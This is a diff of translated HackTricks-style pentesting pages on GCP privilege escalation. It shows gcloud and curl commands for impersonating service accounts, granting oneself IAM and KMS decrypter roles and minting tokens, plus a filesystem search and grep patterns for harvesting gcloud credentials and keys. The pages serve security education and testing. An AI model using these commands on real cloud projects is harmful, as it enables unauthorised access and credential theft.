Let wel dat **`iam.serviceAccountKeys.update` nie sal werk om die sleutel van 'n SA te wysig nie** omdat die toestemming `iam.serviceAccountKeys.create` ook nodig is.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
As jy die **`iam.serviceAccounts.implicitDelegation`** toestemming op 'n Diensrekening het wat die **`iam.serviceAccounts.getAccessToken`** toestemming op 'n derde Diensrekening het, kan jy dan implicitDelegation gebruik om **'n token vir daardie derde Diensrekening te skep**. Hier is 'n diagram om te help verduidelik.
|
||||
As jy die **`iam.serviceAccounts.implicitDelegation`** toestemming op 'n Service Account het wat die **`iam.serviceAccounts.getAccessToken`** toestemming op 'n derde Service Account het, kan jy implicitDelegation gebruik om **'n token vir daardie derde Service Account te skep**. Hier is 'n diagram om dit te verduidelik.
|
||||
|
||||

|
||||
|
||||
Let daarop dat volgens die [**dokumentasie**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegasie van `gcloud` slegs werk om 'n token te genereer met die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metode. So hier is hoe om 'n token direk met die API te verkry:
|
||||
Neem ook kennis dat volgens die [**dokumentasie**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegasie van `gcloud` slegs werk om 'n token te genereer met die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metode. Hieronder is hoe om 'n token direk met die API te kry:
|
||||
|
||||
<details><summary>Genereer toegangstoken met delegasie deur die API</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
U kan 'n skrip vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **arbitraire payloads in GCP te teken**. Dit sal moontlik wees om **'n ongetekende JWT van die SA te skep en dit dan as 'n blob te stuur om die JWT deur die SA wat ons teiken, geteken te kry**. Vir meer inligting [**lees dit**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
'n Aanvaller met die genoemde permissies sal in staat wees om **ewekansige payloads in GCP te onderteken**. Dit maak dit moontlik om **'n ongetekende JWT van die SA te skep en dit as 'n blob te stuur om die JWT deur die geteikende SA te laat teken**. Vir meer inligting [**lees dit**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
U kan 'n skrip vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **goed gevormde JSON-webtokens (JWTs) te teken**. Die verskil met die vorige metode is dat **in plaas daarvan om google 'n blob wat 'n JWT bevat te laat teken, gebruik ons die signJWT-metode wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik, maar jy kan slegs JWT's teken in plaas van enige bytes.
|
||||
'n Aanvaller met die genoemde permissies sal in staat wees om **goed-gevormde JSON web tokens (JWTs) te onderteken**. Die verskil met die vorige metode is dat **in plaas daarvan om google 'n blob wat 'n JWT bevat te laat teken, ons die signJWT-metode gebruik wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik, maar jy kan slegs JWT's teken en nie arbitrêre bytes nie.
|
||||
|
||||
U kan 'n skrip vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **IAM-beleide aan diensrekeninge toe te voeg**. U kan dit misbruik om **jouself** die toestemmings te gee wat u nodig het om die diensrekening na te volg. In die volgende voorbeeld gee ons onsself die `roles/iam.serviceAccountTokenCreator` rol oor die interessante SA:
|
||||
'n Aanvaller met die genoemde permissies sal in staat wees om **IAM-beleide aan service accounts toe te voeg**. Jy kan dit misbruik om jouself die permissies toe te ken wat jy nodig het om voor te gee as die service account. In die volgende voorbeeld ken ons onsself die `roles/iam.serviceAccountTokenCreator` rol toe oor die betrokke SA:
|
||||
|
||||
<details><summary>Voeg IAM-beleidbinding by service account</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
U kan 'n skrif vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Die **iam.serviceAccounts.actAs toestemming** is soos die **iam:PassRole toestemming van AWS**. Dit is noodsaaklik vir die uitvoering van take, soos om 'n Compute Engine-instantie te begin, aangesien dit die vermoë bied om "as" 'n diensrekening op te tree, wat veilige toestemmingbestuur verseker. Sonder dit kan gebruikers onregmatige toegang verkry. Boonop behels die benutting van die **iam.serviceAccounts.actAs** verskeie metodes, wat elkeen 'n stel toestemmings vereis, in teenstelling met ander metodes wat net een benodig.
|
||||
Die **iam.serviceAccounts.actAs permission** is soos die **iam:PassRole permission from AWS**. Dit is noodsaaklik vir die uitvoer van take, soos die begin van ’n Compute Engine-instance, aangesien dit die vermoë gee om as ’n Service Account te "actAs", wat veilige beheer van toestemmings verseker. Sonder dit kan gebruikers onnodige toegang verkry. Verder behels die uitbuiting van die **iam.serviceAccounts.actAs** verskeie metodes, elk wat ’n stel toestemmings vereis, in teenstelling met ander metodes wat net een benodig.
|
||||
|
||||
#### Diensrekening impersonasie <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonasie van 'n diensrekening kan baie nuttig wees om **nuwe en beter voorregte te verkry**. Daar is drie maniere waarop jy [‘n ander diensrekening kan impersonate](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Die impersonering van ’n service account kan baie nuttig wees om **nuwe en beter priviliges te verkry**. Daar is drie maniere waarop jy [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Verifikasie **met RSA privaat sleutels** (hierbo behandel)
|
||||
- Autorisasie **met Cloud IAM beleide** (hier behandel)
|
||||
- **Ontplooiing van werksgeleenthede op GCP dienste** (meer van toepassing op die kompromie van 'n gebruikersrekening)
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
‘n Aanvaller met die genoemde toestemmings sal in staat wees om 'n OpenID JWT te genereer. Hierdie word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete autorisasie teen 'n hulpbron nie.
|
||||
’n Aanvaller met die genoemde toestemmings sal in staat wees om ’n OpenID JWT te genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teen ’n bron nie.
|
||||
|
||||
Volgens hierdie [**interessante pos**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), is dit nodig om die gehoor aan te dui (diens waar jy die token wil gebruik om te verifieer) en jy sal 'n JWT ontvang wat deur google onderteken is wat die diensrekening en die gehoor van die JWT aandui.
|
||||
Volgens hierdie [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) is dit nodig om die audience aan te dui (die diens waarby jy die token wil gebruik om te autentiseer) en jy sal ’n JWT ontvang wat deur google geteken is en die service account en die audience van die JWT aandui.
|
||||
|
||||
Jy kan 'n OpenIDToken genereer (as jy die toegang het) met:
|
||||
Jy kan ’n OpenIDToken genereer (as jy die toegang het) met:
|
||||
|
||||
<details><summary>Generate OpenID token for service account</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Dan kan jy dit net gebruik om toegang tot die diens te verkry met:
|
||||
</details>
|
||||
|
||||
Dan kan jy dit net gebruik om toegang tot die diens te kry met:
|
||||
|
||||
<details><summary>Gebruik OpenID-token om te verifieer</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
Sommige dienste wat outentisering via hierdie soort tokens ondersteun, is:
|
||||
</details>
|
||||
|
||||
Sommige dienste wat verifikasie deur hierdie soort tokens ondersteun, is:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (as jy Google OIDC gebruik)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (indien Google OIDC gebruik word)
|
||||
|
||||
Jy kan 'n voorbeeld vind van hoe om 'n OpenID-token namens 'n diensrekening te skep [**hier**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Jy kan 'n voorbeeld vind van hoe om 'n OpenID-token namens 'n diensrekening te skep [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@ Inligting oor KMS:
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Let daarop dat in KMS die **toestemmings** nie net **geërf** word van Organisasies, Mappes en Projekte nie, maar ook van **Sleutels**.
|
||||
Let daarop dat in KMS die **toestemmings** nie net **geërf** word van Orgs, Folders en Projects nie, maar ook van **Keyrings**.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
Jy kan hierdie toestemming gebruik om **inligting te ontsleutel met die sleutel** waaroor jy hierdie toestemming het.
|
||||
Jy kan hierdie toestemming gebruik om **inligting met die sleutel te ontsleutel** waarvoor jy hierdie toestemming het.
|
||||
|
||||
<details><summary>Ontsleutel data met KMS-sleutel</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **vir homself toestemmings gee** om die sleutel te gebruik om inligting te ontsleutel.
|
||||
An attacker met hierdie toestemming kan **homself bevoegdhede gee** om die sleutel te gebruik om inligting te decrypt.
|
||||
|
||||
<details><summary>Gee jouself die KMS decrypter role</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Hier is 'n konseptuele uiteensetting van hoe hierdie delegasie werk:
|
||||
|
||||
1. **Diensrekening A** het direkte toegang om te ontsleutel met 'n spesifieke sleutel in KMS.
|
||||
2. **Diensrekening B** word die `useToDecryptViaDelegation` toestemming gegee. Dit stel dit in staat om KMS te versoek om data te ontsleutel namens Diensrekening A.
|
||||
1. **Service Account A** het direkte toegang om te ontsleutel met 'n spesifieke sleutel in KMS.
|
||||
2. **Service Account B** word die `useToDecryptViaDelegation`-toestemming gegee. Dit stel dit in staat om KMS te versoek om data namens Service Account A te ontsleutel.
|
||||
|
||||
Die gebruik van hierdie **toestemming is implisiet in die manier waarop die KMS-diens toestemmings nagaan** wanneer 'n ontsleuteling versoek word.
|
||||
Die gebruik van hierdie **toestemming is implisiet in die manier waarop die KMS-diens toestemming kontroleer** wanneer 'n ontsleutelingversoek gemaak word.
|
||||
|
||||
Wanneer jy 'n standaard ontsleuteling versoek met die Google Cloud KMS API (in Python of 'n ander taal), **kyk die diens of die versoekende diensrekening die nodige toestemmings het**. As die versoek gemaak word deur 'n diensrekening met die **`useToDecryptViaDelegation`** toestemming, verifieer KMS of hierdie **rekening toegelaat word om ontsleuteling aan te vra namens die entiteit wat die sleutel besit**.
|
||||
Wanneer jy 'n standaard ontsleutelingversoek maak met die Google Cloud KMS API (in Python of 'n ander taal), kyk die diens **of die aanvraende service account die nodige toestemmings het**. As die versoek gemaak is deur 'n service account met die **`useToDecryptViaDelegation`**-toestemming, verifieer KMS of hierdie **service account toegelaat is om ontsleuteling namens die entiteit wat die sleutel besit te versoek**.
|
||||
|
||||
#### Stel op vir Delegasie
|
||||
#### Opstel vir delegasie
|
||||
|
||||
1. **Definieer die Aangepaste Rol**: Skep 'n YAML-lêer (bv. `custom_role.yaml`) wat die aangepaste rol definieer. Hierdie lêer moet die `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` toestemming insluit. Hier is 'n voorbeeld van hoe hierdie lêer mag lyk:
|
||||
1. **Define the Custom Role**: Skep 'n YAML-lêer (bv. `custom_role.yaml`) wat die custom role definieer. Hierdie lêer moet die `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`-toestemming insluit. Hier is 'n voorbeeld van hoe hierdie lêer kan lyk:
|
||||
|
||||
<details><summary>Custom role YAML-definisie</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **Skep die Aangepaste Rol Met die gcloud CLI**: Gebruik die volgende opdrag om die aangepaste rol in jou Google Cloud projek te skep:
|
||||
</details>
|
||||
|
||||
2. **Skep die aangepaste rol met die gcloud CLI**: Gebruik die volgende opdrag om die aangepaste rol in jou Google Cloud-projek te skep:
|
||||
|
||||
<details><summary>Skep aangepaste KMS-rol</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
Vervang `[YOUR_PROJECT_ID]` met jou Google Cloud projek ID.
|
||||
Vervang `[YOUR_PROJECT_ID]` met jou Google Cloud-projek-ID.
|
||||
|
||||
3. **Gee die Aangepaste Rol aan 'n Diensrekening**: Ken jou aangepaste rol toe aan 'n diensrekening wat hierdie toestemming sal gebruik. Gebruik die volgende opdrag:
|
||||
</details>
|
||||
|
||||
3. **Ken die pasgemaakte rol toe aan ’n diensrekening**: Ken jou pasgemaakte rol toe aan ’n diensrekening wat hierdie toestemming sal gebruik. Gebruik die volgende opdrag:
|
||||
|
||||
<details><summary>Ken pasgemaakte rol toe aan diensrekening</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
Vervang `[YOUR_PROJECT_ID]` en `[SERVICE_ACCOUNT_EMAIL]` met jou projek-ID en die e-pos van die diensrekening, onderskeidelik.
|
||||
Vervang [YOUR_PROJECT_ID] en [SERVICE_ACCOUNT_EMAIL] met jou projek-ID en die e-pos van die diensrekening, onderskeidelik.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+28
-20
@@ -1,40 +1,40 @@
|
||||
# GCP - plaaslike privilige eskalasie ssh pivoting
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
in hierdie scenario gaan ons veronderstel dat jy **'n nie-privilege rekening gecompromitteer het** binne 'n VM in 'n Compute Engine projek.
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
|
||||
Verbazingwekkend, GPC toestemmings van die compute engine wat jy gecompromitteer het, mag jou help om **privileges plaaslik binne 'n masjien te eskaleer**. Alhoewel dit nie altyd baie nuttig sal wees in 'n wolkomgewing nie, is dit goed om te weet dit is moontlik.
|
||||
Verbluffend genoeg kan die GPC-permissies van die Compute Engine wat jy gekompromitteer het jou help om **escalate privileges locally inside a machine**. Selfs al sal dit nie altyd baie nuttig wees in 'n cloud-omgewing nie, is dit goed om te weet dit is moontlik.
|
||||
|
||||
## Lees die skripte <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances** is waarskynlik daar om **sekere skripte uit te voer** om aksies met hul diensrekeninge te verrig.
|
||||
**Compute Instances** is waarskynlik daar om **sommige skripte uit te voer** wat aksies uitvoer met hul service accounts.
|
||||
|
||||
Aangesien IAM baie gedetailleerd is, kan 'n rekening **lees/skryf** toestemmings oor 'n hulpbron hê, maar **geen lys toestemmings** nie.
|
||||
Aangesien IAM baie fynkorrelig is, kan 'n rekening **read/write** bevoegdhede oor 'n hulpbron hê maar **geen list bevoegdhede** hê nie.
|
||||
|
||||
'n Groot hipotetiese voorbeeld hiervan is 'n Compute Instance wat toestemming het om rugsteun te lees/skryf na 'n stoor emmer genaamd `instance82736-long-term-xyz-archive-0332893`.
|
||||
'n Goeie hipotetiese voorbeeld hiervan is 'n Compute Instance wat toestemming het om backups te lees/skryf na 'n storage bucket genaamd `instance82736-long-term-xyz-archive-0332893`.
|
||||
|
||||
Wanneer jy `gsutil ls` vanaf die opdraglyn uitvoer, keer dit niks terug nie, aangesien die diensrekening die `storage.buckets.list` IAM toestemming mis. As jy egter `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` uitvoer, mag jy 'n volledige lêerstelsel rugsteun vind, wat jou duidelike toegang tot data gee wat jou plaaslike Linux rekening ontbreek.
|
||||
Die uitvoering van `gsutil ls` vanaf die opdraglyn lewer niks op nie, omdat die service account nie die `storage.buckets.list` IAM-permissie het nie. As jy egter `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` uitgevoer het, kan jy 'n volledige filesystem backup kry, wat jou clear-text toegang gee tot data wat jou plaaslike Linux-rekening nie het nie.
|
||||
|
||||
Jy mag in staat wees om hierdie emmernaam binne 'n skrip te vind (in bash, Python, Ruby...).
|
||||
Jy mag hierdie bucket-naam binne 'n skrip (in bash, Python, Ruby...) kan vind.
|
||||
|
||||
## Aangepaste Metadata
|
||||
## Custom Metadata
|
||||
|
||||
Administrateurs kan [aangepaste metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) by die **instansie** en **projekvlak** voeg. Dit is eenvoudig 'n manier om **arbitraire sleutel/waarde pare in 'n instansie oor te dra**, en word algemeen gebruik vir omgewing veranderlikes en opstart/afskakel skripte.
|
||||
Administrateurs kan [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) by die **instance** en **project level** voeg. Dit is bloot 'n manier om **arbitrêre sleutel/waarde pare in 'n instance in te gee**, en dit word algemeen gebruik vir omgewingsveranderlikes en startup/shutdown skripte.
|
||||
|
||||
Boonop is dit moontlik om **userdata** toe te voeg, wat 'n skrip is wat **elke keer** uitgevoer sal word wanneer die masjien begin of herbegin word en wat ook **van die metadata eindpunt toegang kan word.**
|
||||
Daarbenewens is dit moontlik om **userdata** by te voeg, wat 'n skrip is wat **elke keer uitgevoer sal word** wanneer die masjien begin of herbegin, en wat ook vanaf die metadata endpoint **toeganklik** is.
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **Misbruik van IAM toestemmings**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
Die meeste van die volgende voorgestelde toestemmings word **aan die standaard Compute SA gegee,** die enigste probleem is dat die **standaard toegangskop die SA verhinder om dit te gebruik**. As **`cloud-platform`** **kop** geaktiveer is of net die **`compute`** **kop** geaktiveer is, sal jy in staat wees om dit te **misbruik**.
|
||||
Die meeste van die volgende voorgestelde permissies word **aan die default Compute SA gegee**, die enigste probleem is dat die **default access scope die SA verhinder om dit te gebruik**. As die **`cloud-platform`** **scope** egter aangeskakel is of net die **`compute`** **scope** aangeskakel is, sal jy dit **kan misbruik**.
|
||||
|
||||
Kyk na die volgende toestemmings:
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,20 +42,26 @@ Kyk na die volgende toestemmings:
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## Soek na Sleutels in die lêerstelsel
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
Kyk of ander gebruikers in gcloud binne die boks ingelogde het en hul akrediteer in die lêerstelsel gelaat het:
|
||||
Kyk of ander gebruikers by die box aangemeld het in gcloud en hul credentials in die lêerstelsel gelos het:
|
||||
|
||||
<details><summary>Search for gcloud credentials in filesystem</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
Hierdie is die mees interessante lêers:
|
||||
</details>
|
||||
|
||||
Dit is die mees interessante lêers:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### Meer API Sleutel regexes
|
||||
### Meer API Keys regexes
|
||||
|
||||
<details><summary>Grep-patrone vir GCP credentials and keys</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
+32
-17
@@ -2,45 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aanvanklike Toestand
|
||||
## Aanvangstoestand
|
||||
|
||||
In beide verslae waar hierdie tegniek gespesifiseer word, het die aanvallers daarin geslaag om **root** toegang binne 'n **Docker** houer wat deur GCP bestuur word, te verkry met toegang tot die gasheer netwerk (en die vermoëns **`CAP_NET_ADMIN`** en **`CAP_NET_RAW`**).
|
||||
In beide writeups waar hierdie tegniek gespesifiseer word, het die aanvallers daarin geslaag om **root** toegang te kry binne 'n **Docker** kontenaar wat deur GCP bestuur is met toegang tot die host-netwerk (en die vermoëns **`CAP_NET_ADMIN`** en **`CAP_NET_RAW`**).
|
||||
|
||||
## Aanval Verduideliking
|
||||
## Verduideliking van die aanval
|
||||
|
||||
Op 'n Google Compute Engine instansie, onthul gereelde inspeksie van netwerkverkeer talle **eenvoudige HTTP versoeke** na die **metadata instansie** by `169.254.169.254`. Die [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), 'n oopbron diens, maak gereeld sulke versoeke.
|
||||
Op 'n Google Compute Engine instansie openbaar gereelde inspeksie van netwerkverkeer talle **onversleutelde HTTP-versoeke** na die **metadata-instansie** by `169.254.169.254`. Die [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), 'n open-source diens, maak dikwels sulke versoeke.
|
||||
|
||||
Hierdie agent is ontwerp om **veranderinge in die metadata te monitor**. Opmerklik is dat die metadata 'n **veld vir SSH publieke sleutels** insluit. Wanneer 'n nuwe publieke SSH sleutel by die metadata gevoeg word, **autorisere** die agent dit outomaties in die `.authorized_key` lêer. Dit kan ook 'n **nuwe gebruiker** skep en hulle indien nodig by **sudoers** voeg.
|
||||
